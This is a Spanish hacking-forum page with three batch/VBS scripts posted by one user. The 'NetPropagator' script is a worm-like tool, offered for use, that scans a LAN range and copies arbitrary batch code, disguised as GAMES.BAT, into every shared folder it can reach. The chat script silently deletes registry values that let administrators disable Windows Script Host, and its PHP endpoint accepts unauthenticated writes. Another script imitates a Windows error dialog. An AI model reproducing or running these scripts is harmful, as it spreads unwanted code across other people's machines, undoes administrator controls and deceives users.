elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Temas
Páginas: 1 2 3 [4]
31  Programación / Scripting / Enviar y Recibir Correos en Batch usando VBS[APLICACION CHAT TERMINADA] en: 17 Junio 2009, 18:46 pm
Enviar y recibir correos via Batch

Originalmente Posteado en CPH, decidi compartilo aqui tambien...

Cada cierto tiempo siempre sale la misma pregunta, asi que el proposito de este post es..
Terminar con esas preguntas.., aqui expondre maneras de enviar o mejor dicho crear nuestro servidor de mails..
Ok, para los que lo adivinaron, con algo de Scripts VBS, el que se sabe otra manera bien por el..
Una manera de hacerlo es por FTP pero tendrias que exponer tu password en code abierto..
Algo muy malo  :-[ por que darias tu pass..

El metodo es sencillo..:
Comenzamos por crearnos un servidor de correos..  ;D

Paso 1
Usamos un sitio web de miarroba (Es el unico que conozco bien..)
Creamos un Sitio si no tenemos..
Nos vamos a "Administrar" de nuestro sitio..
Luego nos vamos a "Preferencias" y ahi activamos todo lo que diga PHP, incluyendo control de errores..

Paso 2
Creamos un PHP con el siguiente code (En nuestro sitioweb):
Código
  1. <?php
  2. $id=$_GET['mail'];
  3. $master=fopen('mail.txt',a);
  4. fwrite($master,"
  5. ".$id);
  6. fclose($master);
  7. ?>
Yo lo guardo como "mail.php" para mas comodidad..

Hasta aqui ya creamos nuestro servidor de correos..
Ahora es solo añadir dos Code a nuestro Batch, 1 para leer los Mail y otro para enviar mails..

Enviar mail
Para enviar mail solo agregar este code ha su Batch:
Código
  1. (
  2. echo URLSend = wscript.arguments(0^)
  3. echo MSG = wscript.arguments(1^)
  4. echo Set SendMail = CreateObject("InternetExplorer.Application"^)
  5. echo SendMail.Navigate URLSend ^& MSG
  6. echo Do While SendMail.ReadyState ^<^> 4
  7. echo wscript.sleep 50
  8. echo Loop
  9. )>Mail.vbs
Este es el code que genera el Script que enviara los datos al servidor..
Para llamarlo es facil lo hacemos con un:
Código
  1. CScript //nologo Mail.Vbs "http://[www].webcindario.com/[PHP].php?mail=" "Mensaje ha Enviar"
El [PHP] debe venir el nombre del PHP como le pusieron por ejemplo si le pusiron mail.php debe ser asi el code:
Código
  1. CScript //nologo Mail.Vbs "http://[www].webcindario.com/mail.php?mail=" "Mensaje ha Enviar"
Con eso enviamos un mensaje a nuestro server, quien creara un archivo llamado "mail.txt"
Que contendra los mensajes que le enviemos..
Si quieren ver sus mensajes recibidos desde el IExplorer lo hacen asi:
Código
  1. http://[www].webcindario.com/mail.txt
Esto fue para enviar un mensaje a nuestro servidor..
Ahora..,

Leer Mails
Bien pues aqui tambien debemos de añadir este code a nuestro Batch..
Que es el encargado de leer los mails recibidos en el servidor..
Código
  1. (
  2. echo Set ReadMail = CreateObject("Microsoft.XMLHTTP"^)
  3. echo URLRead = wscript.arguments(0^)
  4. echo ReadMail.Open "Get", URLRead
  5. echo ReadMail.Send
  6. echo Do While ReadMail.ReadyState ^<^> 4
  7. echo wscript.sleep 50
  8. echo Loop
  9. echo wscript.Echo ReadMail.ResponseText
  10. )>Mail.vbs
Ahora para leer con el Batch nuestros mails recibidos ejecutamos el Script de la siguiente manera:
Código
  1. CScript //nologo Mail.Vbs "http://[www].webcindario.com/mail.txt"
El metodo es sencillo, bueno espero.., disculpen si parace que lo escribi rapido o algo asi..
es que me entro sueño y no puedo mas.., mañana o cuando pueda posteo una aplicacion Chat
que casi esta terminada atraves de este metodo.., espero les guste y le hayan entendido, cualquier duda posteen..  ;)

EDIT:
ChatBox - BY 3D1 (Por Fin la aplicacion Chat Terminada)
Aqui os mostrare con este ejemplo o mejor dicho una aplicacion ya terminada de Chat el uso de los Script Mensionados para enviar y recibir mensajes..
Solo aclarar donde nos pide "Servidor" debe de ser solo el nombre.., por ejemplo http://www.google.com nada mas sin aumentar "/" al final, solo asi..
Luego en Nick eso creo que no se debe de explicar..
Bueno sin nada mas que decir aqui el code:
Código
  1. @echo off
  2. title .:Cargando...:.
  3. cls
  4. reg delete "HKLM\software\Microsoft\Windows Script Host\Settings" /v "Enabled" /f>nul 2>&1
  5. reg delete "HKCU\software\Microsoft\Windows Script Host\Settings" /v "Enabled" /f>nul 2>&1
  6. cls
  7.  
  8. if exist "screen.size" (goto :Cnt)
  9. @mode con cols=14 lines=1
  10. echo Existes>"screen.size"
  11. Reg export HKCU\Console Backup.reg>nul
  12. Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /f>nul
  13. Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FaceName /t REG_SZ /d "Lucida Console" /f>nul
  14. Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontFamily /t REG_DWORD /d 48 /f>nul
  15. Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontSize /t REG_DWORD /d 600000 /f>nul
  16. Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontWeight /t REG_DWORD /d 700 /f>nul
  17. Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v ScreenBufferSize /t REG_DWORD /d 13107280 /f>nul
  18. Reg add HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v CursorSize /t REG_DWORD /d 0 /f>nul
  19. Ping -n 1 0.0.0.0 >nul 2>&1
  20. start %comspec% /c %0
  21. Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FaceName /f>nul
  22. Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontFamily /f>nul
  23. Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontSize /f>nul
  24. Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v FontWeight /f>nul
  25. Reg delete HKCU\Console\%%SystemRoot%%_system32_cmd.exe /v CursorSize /f>nul
  26. Reg import Backup.reg>nul
  27. Del /Q "screen.size">nul
  28. Del /Q "Backup.reg">nul
  29.  
  30. :Cnt
  31. color 0A
  32. @Echo Off
  33. @Title .:: ChatBox BY 3D1 ::.
  34. (
  35. echo URLSend = wscript.arguments(0^)
  36. echo MSG = wscript.arguments(1^)
  37. echo Set SendMail = CreateObject("InternetExplorer.Application"^)
  38. echo SendMail.Navigate URLSend ^& MSG
  39. echo Do While SendMail.ReadyState ^<^> 4
  40. echo wscript.sleep 50
  41. echo Loop
  42. )>%tmp%\SendMail.vbs
  43. (
  44. echo Set ReadMail = CreateObject("Microsoft.XMLHTTP"^)
  45. echo URLRead = wscript.arguments(0^)
  46. echo ReadMail.Open "Get", URLRead
  47. echo ReadMail.Send
  48. echo Do While ReadMail.ReadyState ^<^> 4
  49. echo wscript.sleep 50
  50. echo Loop
  51. echo wscript.Echo ReadMail.ResponseText
  52. )>%tmp%\ReadMail.vbs
  53. Del /Q /F %tmp%\keyboard.dat
  54. Del /Q /F %tmp%\key.exe
  55. Del /Q /F %tmp%\AddKey.bat
  56. set Dir=%cd%\
  57. cd %tmp%\
  58. (
  59. echo n keyboard.dat
  60. echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
  61. echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
  62. echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
  63. echo rcx
  64. echo 002E
  65. echo w0
  66. )>%tmp%\keyboard.dat
  67. echo type %tmp%\keyboard.dat^|debug>%tmp%\AddKey.bat
  68. echo ren %tmp%\keyboard.dat key.exe>>%tmp%\AddKey.bat
  69. start /MIN cmd /c %tmp%\AddKey.bat
  70. Cd %Dir%
  71. Set txt=HTTP://
  72.  
  73. Set frmuse=form
  74. Set enter=formnick
  75.  
  76. Set spaces=                                                             ...-SPACES-...
  77. CLs
  78. Echo Please Wait...
  79. Ping -n 2 0.0.0.0 >nul 2>&1
  80. :form
  81. Set serverbox=%txt%%spaces%
  82. Set server=%txt%
  83. Cls
  84. echo   ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
  85. echo   º                                                                          º
  86. echo   º En el siguiente cuadro de texto escriba el nombre del servidor con el..  º
  87. echo   º Siguiente Formato:                                                       º
  88. echo   º                                                                          º
  89. echo   º                     Http://name.webcindario.com                          º
  90. echo   º                                                                          º
  91. echo   º Por defecto se usara el archivo mail.php en el server y, el archivo..    º
  92. echo   º mail.txt en el server para leer los mails.                               º
  93. echo   º                                                                          º
  94. echo   ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
  95. echo                           ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
  96. echo      NOMBRE DEL SERVIDOR: º%serverbox:~0,50%º
  97. echo                           ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
  98. echo                  3D1-Copyright (C) 2009 - Derechos reservados
  99. echo                  îîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîî
  100. echo                             Hacking And Security
  101. echo                             îîîîîîîîîîîîîîîîîîîî
  102. :keyboard
  103. %tmp%\KEY.exe
  104. IF %ERRORLEVEL% == 65 (set txt=%TXT%A)
  105. IF %ERRORLEVEL% == 66 (set txt=%TXT%B)
  106. IF %ERRORLEVEL% == 67 (set txt=%TXT%C)
  107. IF %ERRORLEVEL% == 68 (set txt=%TXT%D)
  108. IF %ERRORLEVEL% == 69 (set txt=%TXT%E)
  109. IF %ERRORLEVEL% == 70 (set txt=%TXT%F)
  110. IF %ERRORLEVEL% == 71 (set txt=%TXT%G)
  111. IF %ERRORLEVEL% == 72 (set txt=%TXT%H)
  112. IF %ERRORLEVEL% == 73 (set txt=%TXT%I)
  113. IF %ERRORLEVEL% == 74 (set txt=%TXT%J)
  114. IF %ERRORLEVEL% == 75 (set txt=%TXT%K)
  115. IF %ERRORLEVEL% == 76 (set txt=%TXT%L)
  116. IF %ERRORLEVEL% == 77 (set txt=%TXT%M)
  117. IF %ERRORLEVEL% == 78 (set txt=%TXT%N)
  118. IF %ERRORLEVEL% == 79 (set txt=%TXT%O)
  119. IF %ERRORLEVEL% == 80 (set txt=%TXT%P)
  120. IF %ERRORLEVEL% == 81 (set txt=%TXT%Q)
  121. IF %ERRORLEVEL% == 82 (set txt=%TXT%R)
  122. IF %ERRORLEVEL% == 83 (set txt=%TXT%S)
  123. IF %ERRORLEVEL% == 84 (set txt=%TXT%T)
  124. IF %ERRORLEVEL% == 85 (set txt=%TXT%U)
  125. IF %ERRORLEVEL% == 86 (set txt=%TXT%V)
  126. IF %ERRORLEVEL% == 87 (set txt=%TXT%W)
  127. IF %ERRORLEVEL% == 88 (set txt=%TXT%X)
  128. IF %ERRORLEVEL% == 89 (set txt=%TXT%Y)
  129. IF %ERRORLEVEL% == 90 (set txt=%TXT%Z)
  130.  
  131. IF %ERRORLEVEL% == 97 (set txt=%TXT%a)
  132. IF %ERRORLEVEL% == 98 (set txt=%TXT%b)
  133. IF %ERRORLEVEL% == 99 (set txt=%TXT%c)
  134. IF %ERRORLEVEL% == 100 (set txt=%TXT%d)
  135. IF %ERRORLEVEL% == 101 (set txt=%TXT%e)
  136. IF %ERRORLEVEL% == 102 (set txt=%TXT%f)
  137. IF %ERRORLEVEL% == 103 (set txt=%TXT%g)
  138. IF %ERRORLEVEL% == 104 (set txt=%TXT%h)
  139. IF %ERRORLEVEL% == 105 (set txt=%TXT%i)
  140. IF %ERRORLEVEL% == 106 (set txt=%TXT%j)
  141. IF %ERRORLEVEL% == 107 (set txt=%TXT%k)
  142. IF %ERRORLEVEL% == 108 (set txt=%TXT%l)
  143. IF %ERRORLEVEL% == 109 (set txt=%TXT%m)
  144. IF %ERRORLEVEL% == 110 (set txt=%TXT%n)
  145. IF %ERRORLEVEL% == 111 (set txt=%TXT%o)
  146. IF %ERRORLEVEL% == 112 (set txt=%TXT%p)
  147. IF %ERRORLEVEL% == 113 (set txt=%TXT%q)
  148. IF %ERRORLEVEL% == 114 (set txt=%TXT%r)
  149. IF %ERRORLEVEL% == 115 (set txt=%TXT%s)
  150. IF %ERRORLEVEL% == 116 (set txt=%TXT%t)
  151. IF %ERRORLEVEL% == 117 (set txt=%TXT%u)
  152. IF %ERRORLEVEL% == 118 (set txt=%TXT%v)
  153. IF %ERRORLEVEL% == 119 (set txt=%TXT%w)
  154. IF %ERRORLEVEL% == 120 (set txt=%TXT%x)
  155. IF %ERRORLEVEL% == 121 (set txt=%TXT%y)
  156. IF %ERRORLEVEL% == 122 (set txt=%TXT%z)
  157. IF %ERRORLEVEL% == 48 (set txt=%TXT%0)
  158. IF %ERRORLEVEL% == 49 (set txt=%TXT%1)
  159. IF %ERRORLEVEL% == 50 (set txt=%TXT%2)
  160. IF %ERRORLEVEL% == 51 (set txt=%TXT%3)
  161. IF %ERRORLEVEL% == 52 (set txt=%TXT%4)
  162. IF %ERRORLEVEL% == 53 (set txt=%TXT%5)
  163. IF %ERRORLEVEL% == 54 (set txt=%TXT%6)
  164. IF %ERRORLEVEL% == 55 (set txt=%TXT%7)
  165. IF %ERRORLEVEL% == 56 (set txt=%TXT%8)
  166. IF %ERRORLEVEL% == 57 (set txt=%TXT%9)
  167. IF %ERRORLEVEL% == 32 (set txt=%TXT% )
  168. IF %ERRORLEVEL% == 63 (set txt=%TXT%?)
  169. IF %ERRORLEVEL% == 61 (set txt=%TXT%=)
  170. IF %ERRORLEVEL% == 47 (set txt=%TXT%/)
  171. IF %ERRORLEVEL% == 58 (set txt=%TXT%:)
  172. IF %ERRORLEVEL% == 95 (set txt=%TXT%_)
  173. IF %ERRORLEVEL% == 45 (set txt=%TXT%-)
  174. IF %ERRORLEVEL% == 46 (set txt=%TXT%.)
  175. IF %ERRORLEVEL% == 27 (Exit)
  176. IF %ERRORLEVEL% == 8 (SET TXT=<NUL&&set txt=%txt:~0,-1%)
  177. IF %ERRORLEVEL% == 13 (Set "txt=" &Goto :%enter%)
  178. Goto :%frmuse%
  179. :formnick
  180. IF "" == "%server%" (Goto :form)
  181. IF "HTTP://" == "%server%" (Goto :form)
  182. Set nickbox=%txt%%spaces%
  183. Set enter=formchat
  184. Set frmuse=formnick
  185. Set "nick=%txt%"
  186. Cls
  187. echo                       ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
  188. echo      ESCRIBE TU NICK: º%nickbox:~0,50%º
  189. echo                       ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
  190. for /l %%_ in (1 1 14) do (echo.)
  191. echo                  3D1-Copyright (C) 2009 - Derechos reservados
  192. echo                  îîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîî
  193. echo                             Hacking And Security
  194. echo                             îîîîîîîîîîîîîîîîîîîî
  195. Goto :keyboard
  196. :formchat
  197. IF "" == "%nick%" (Goto :formnick)
  198. Cls
  199. echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
  200. echo           CHATBOX: BY 3D1
  201. echo              NICK: %nick%
  202. echo    CONNECT SERVER: %server%
  203. echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
  204. CScript //nologo %tmp%\ReadMail.vbs "%server%/mail.txt"
  205. echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
  206. echo                   ÉÍÍÍÍÍÍÍ»                           ÉÍÍÍÍÍÍÍ»
  207. echo  Actualizar Chat: º ENTER º      Escribir un mensaje: º  TAB  º
  208. echo                   ÈÍÍÍÍÍÍͼ                           ÈÍÍÍÍÍÍͼ
  209. echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
  210. :keyy
  211. %tmp%\KEY.exe
  212. IF %ERRORLEVEL% == 13 (goto :formchat)
  213. IF %ERRORLEVEL% == 9 (goto :formchattxt)
  214. IF %ERRORLEVEL% == 27 (Exit)
  215. goto :keyy
  216. :formchattxt
  217. Set enter=sendding
  218. Set frmuse=formchattxt
  219. set spacez=                                                                                  
  220. Set sendtext=%txt%%spacez%%spacez%%spacez%%spacez%%spacez%%spacez%%spacez%%spacez%
  221. Cls
  222. ECHO        ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
  223. ECHO        º                                                            º
  224. ECHO        º VERSION BETA: NO ESTAN AUN INCLUIDOS LOS EMOTIONS..        º
  225. ECHO        º               USESE  :O XD :P, ETC..                       º
  226. ECHO        º                                     ESC - Salir            º
  227. ECHO        º                                   ENTER - Enviar           º
  228. echo        ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
  229. echo        ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
  230. echo        º%sendtext:~0,60%º
  231. echo        º%sendtext:~60,60%º
  232. echo        º%sendtext:~120,60%º
  233. echo        ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
  234. echo                                                          ÉÍÍÍÍÍÍÍÍÍÍ»
  235. echo                                                          º ENVIAR.. º
  236. echo                                                          ÈÍÍÍÍÍÍÍÍÍͼ
  237. echo                  3D1-Copyright (C) 2009 - Derechos reservados
  238. echo                  îîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîî
  239. echo                             Hacking And Security
  240. echo                             îîîîîîîîîîîîîîîîîîîî
  241. Goto :keyboard
  242. :sendding
  243. Cls
  244. Echo Sendding Message...
  245. echo Please Wait...
  246. Set /p"=> ..."<nul
  247. CScript //nologo %tmp%\SendMail.vbs "%server%/mail.php?mail=" "%nick% Dice:"
  248. CScript //nologo %tmp%\SendMail.vbs "%server%/mail.php?mail=" "%sendtext%"
  249. Goto :formchat
Por ser el estreno les dejo la URL de prueba y quisiera que todos los actualmente "Conectados" se conecten al TagBoard..
la direccion del Server es http://3d1.webcindario.com Conectense usando su Nick asi sabremos quienes son los espero...
como es la version beta algunos caracteres se excluyen asi que no podran usarlos por el momento...
SaluDOS!!!
32  Programación / Scripting / [BAT] Batch NetPropagator 1.0 BY 3D1 (Propaga un Batch por toda nuestra RED) en: 30 Mayo 2009, 06:41 am
Batch NetPropagator 1.0 BY 3D1

Bueno, como su nombre dice, esta es una aplicacion echa totalmente en Batch (No use VBS XD) Que propaga..
nuestro Batch atraves de toda nuestra Red sea lan o de dominio, por el momento es una version Beta..
ya le incluire mas opciones despues...

Ahora lo que hace es copiar el code de nuestro batch atraves de todas las carpetas compartidas de las PCs que estan en nuestra Red..
Como es BETA tiene pequeños inconvenientes, pero no afectan en nada el funcionamiento..
Aclarando algunas cosas antes de ver el code:
El Batch pide que se ingrese el tipo de direccion IP, por el momento si o si debemos de introducir 3 digitos en cada caja de texto..
Osea si quiero copiar el bacth a todo el rango de este tipo de ip:
Citar
192.168.1.X
Entonces en el Batch se usara asi:
Citar
192.168.001.X
Espero se haya entendido, y la "X" ya viene no es nesesario escribirla..

Bueno sin mas que decir, dejo el code, y ya pueden postear sus comentarios, dudas o lo que sea  ;D
Código
  1. @Echo Off
  2. @Title .:: Batch NetPropagator 1.0 BY 3D1 ::.
  3. @Mode con cols=44 Lines=15
  4. @Color 0A
  5. If Exist Report.txt (Del /Q Report.txt>nul 2>&1)
  6. If Exist Key.exe (Del /Q Key.exe >Nul 2>&1)
  7. If Exist Keyboard.dat (Del /Q Keyboard.dat>nul 2>&1)
  8. (
  9. Echo ^(
  10. echo Echo n keyboard.dat
  11. echo Echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
  12. echo Echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
  13. echo Echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
  14. echo Echo 002E
  15. Echo ^)^|Debug
  16. Echo Ren keyboard.dat Key.exe
  17. Echo Del %%0
  18. )>AddK.bat
  19. Start /MIN Cmd /c Addk.bat
  20. CLS
  21. Echo Please Wait...
  22. Ping -n 2 0.0.0.0>nul 2>&1
  23. Mode con cols=44 Lines=15
  24. :new
  25. Set "Txt="
  26. Set "ips="
  27. Set "ip="
  28. Set /a uip=255
  29. Set /a iip=0
  30. Set Sp=                    ....
  31. Set "ip0="
  32. :form
  33. Set "ipt=%ip0%%Sp%"
  34. Set "ip1=%ipt:~0,3%"
  35. Set "ip2=%ipt:~3,3%"
  36. Set "ip3=%ipt:~6,3%"
  37. Cls
  38. Echo          ESCRIBA LA DIRECCION IP:
  39. ECHO          ÉÍÍÍ» ÉÍÍÍ» ÉÍÍÍ» ÉÍÍÍ»
  40. echo          º%ip1%º.º%ip2%º.º%ip3%º.º * º
  41. Echo          ÈÍÍͼ ÈÍÍͼ ÈÍÍͼ ÈÍÍͼ
  42. echo  Copyright (3D1) 2009 - Derechos reservados
  43. echo  îîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîî
  44. echo            Hacking And Security
  45. echo            îîîîîîîîîîîîîîîîîîîî
  46. Key
  47. IF %ERRORLEVEL% == 48 (set ip0=%ip0%0)
  48. IF %ERRORLEVEL% == 49 (set ip0=%ip0%1)
  49. IF %ERRORLEVEL% == 50 (set ip0=%ip0%2)
  50. IF %ERRORLEVEL% == 51 (set ip0=%ip0%3)
  51. IF %ERRORLEVEL% == 52 (set ip0=%ip0%4)
  52. IF %ERRORLEVEL% == 53 (set ip0=%ip0%5)
  53. IF %ERRORLEVEL% == 54 (set ip0=%ip0%6)
  54. IF %ERRORLEVEL% == 55 (set ip0=%ip0%7)
  55. IF %ERRORLEVEL% == 56 (set ip0=%ip0%8)
  56. IF %ERRORLEVEL% == 57 (set ip0=%ip0%9)
  57. IF %ERRORLEVEL% == 27 (Exit)
  58. IF %ERRORLEVEL% == 13 (Set ip=%ip1%.%ip2%.%ip3%&CLS&Goto :Code)
  59. IF %ERRORLEVEL% == 8 (SET ip0=<NUL&&set ip0=%ip0:~0,-1%)
  60. Goto :form
  61. :Code
  62. Mode Con Cols=80 Lines=25
  63.  
  64. Set "nameb=GAMES.BAT"
  65.  
  66. If Exist "%nameb%" (Del /Q "%nameb%" >nul 2>&1)
  67. CLS
  68. Echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ  Batch NetPropagator 1.0 BY 3D1 [BETA]
  69. Echo       Escriba o pegue el codigo fuente del batch que se copiara a los..
  70. Echo       Archivos compartidos de los Equipos de su Red..
  71. Echo       Para Terminar presione [Ctrl + Z]+[Enter]
  72. Echo       Nombre Predeterminado  [GAMES.bat]
  73. Echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
  74. Copy Con "%nameb%" >nul 2>&1
  75. If Not Exist "%nameb%" (Goto :Code)
  76. Set /P"=> Estas Seguro que deseas Guardar el Code? [Y/N]"<nul
  77. :stas
  78. Key
  79. if "%errorlevel%" == "121" (Goto :Bucle)
  80. if "%errorlevel%" == "89" (Goto :Bucle)
  81. if "%errorlevel%" == "110" (Goto :Code)
  82. if "%errorlevel%" == "78" (Goto :Code)
  83. Goto :stas
  84. :Bucle
  85. Mode con cols=45 Lines=16
  86. Cls
  87. ping -n 1 -w 0 %ip%.%iip%|Find "perdidos)">STATEIP.DAT
  88. Set /p state=<STATEIP.DAT
  89. If Exist STATEIP.DAT (Del /Q STATEIP.DAT>nul 2>&1)
  90. If "%state%" == "    (0%% perdidos)," (Echo Conect to: %ip%.%iip%&Echo Conect to: %ip%.%iip%>>Report.txt&Set "ips=%ip%.%iip%"&Call :netview)
  91. If "%iip%" NEQ "%uip%" (
  92. Set /a iip=%iip%+1
  93. Goto :Bucle
  94. )
  95. If Exist Report.txt (Start Notepad Report.txt)
  96. Set /p"=>Presione Tecla para Salir [KEY]"<nul
  97. Pause>nul
  98. Goto :Eof
  99.  
  100. :netview
  101. If Exist GetFileName.dat (Del /Q GetFileName.dat>nul 2>&1)
  102. For /f "Tokens=*" %%_ in ('Net View \\%ips% 2^>^&1^|Find "Disco"') do (
  103. for %%A in (%%_) do (
  104. if "%%A" NEQ "Disco" (
  105. Set /p=%%A >>GetFileName.dat<nul
  106. Ping -n 0 0.0.0.0>nul
  107. )
  108. )
  109. Call :add
  110. )
  111. Goto :eof
  112. :add
  113. Set /p F=<GetFileName.dat
  114. If Exist "\\%ips%\%F% " (
  115. Echo  + Copy To : %F%
  116. Copy "%nameb%" "\\%ips%\%F:~0,-1%" >nul 2>&1
  117. Echo  + Copy To : %F%>>Report.txt
  118. ) ELSE (
  119. Echo  - Copy Not: %F%
  120. Echo  - Copy Not: %F%>>Report.txt
  121. )
  122. If Exist GetFileName.dat (Del /Q GetFileName.dat>nul 2>&1)
  123. Goto :eof
El Batch copia por ejemplo en un rango asi: 192.168.000.1 asta 192.168.000.255 y la verdad es rapido.. ;)
verifica si la IP existe o no, para hacer mas rapido el code..
y crea un "Report.txt" con los reportes de cada coneXion y ha que carpetas se copio y ha cuales no..

Ha y se me olvidaba si desean parar el Batch preionar las teclas Ctrl + C..
Espero les guste.., espero sus comentarios..
SaluDOS!!!   ::)
33  Programación / Scripting / [VBS] Denegar acceso a una carpeta o archivo o pedir una Password en: 6 Mayo 2009, 18:08 pm
Esto se me ocurrio en un momento de aburrimiento pero al seguir con el code vi lo que podia hacer..
este code lo que hace es buscar la ventana abierta y cerrarla en ese mismo instante y mostrar un mensaje acceso denegado, eso pueden modificarlo ustedes..
lo de poner password para ver una carpeta lo pongo luego...
este es el code:
EDIT:
Denegacion de acceso a una carpeta y/o archivo..
Código
  1. Set obj=CreateObject("wscript.shell")
  2. do while x=0
  3. if time="00:00:00" then
  4. x=1
  5. wscript.Quit
  6. else
  7. if obj.AppActivate("MSN") = True then
  8. obj.SendKeys "%{F4}"
  9. msgbox "No tiene permiso para abrir el archivo, Archivo protegido contra lectura    " & vbNewLine & vbNewLine & "Acceso denegado.", VbCritical, "Microsoft Windows XP"
  10. end if
  11. end if
  12. wscript.sleep 100
  13. loop
Solo cambian MSN por el nombre de la carpeta o archivo que se debe de cerrar aqui todas las carpetas o archivos que contengan el nombre MSN se cierran
osea les manda Alt+f4 y muestra un mensaje eso lo pueden modificar a su gusto..
por si comenten un error le puse para que puedan ponerle asta que hora estara activa la proteccion expresado en HH:MM:SS y luego deja de funcionar la proteccion..
Espero les guste sobre todo si no quieren que vean alguna carpeta suya o les abran un archivo..

Denegacion de acceso a una carpeta y/o archivo usando una  password
Aqui esta como prometi..
Código
  1. set obj=CreateObject("wscript.shell")
  2. msg = "No estas autorizado para ver y/o usar este archivo o carpeta..   "
  3. msg = msg & VbNewLine & "¿Deseas Desbloquear Archivo?"
  4. do while x = 0
  5. if obj.appactivate("xxx") = true then
  6. obj.SendKeys "%{F4}"
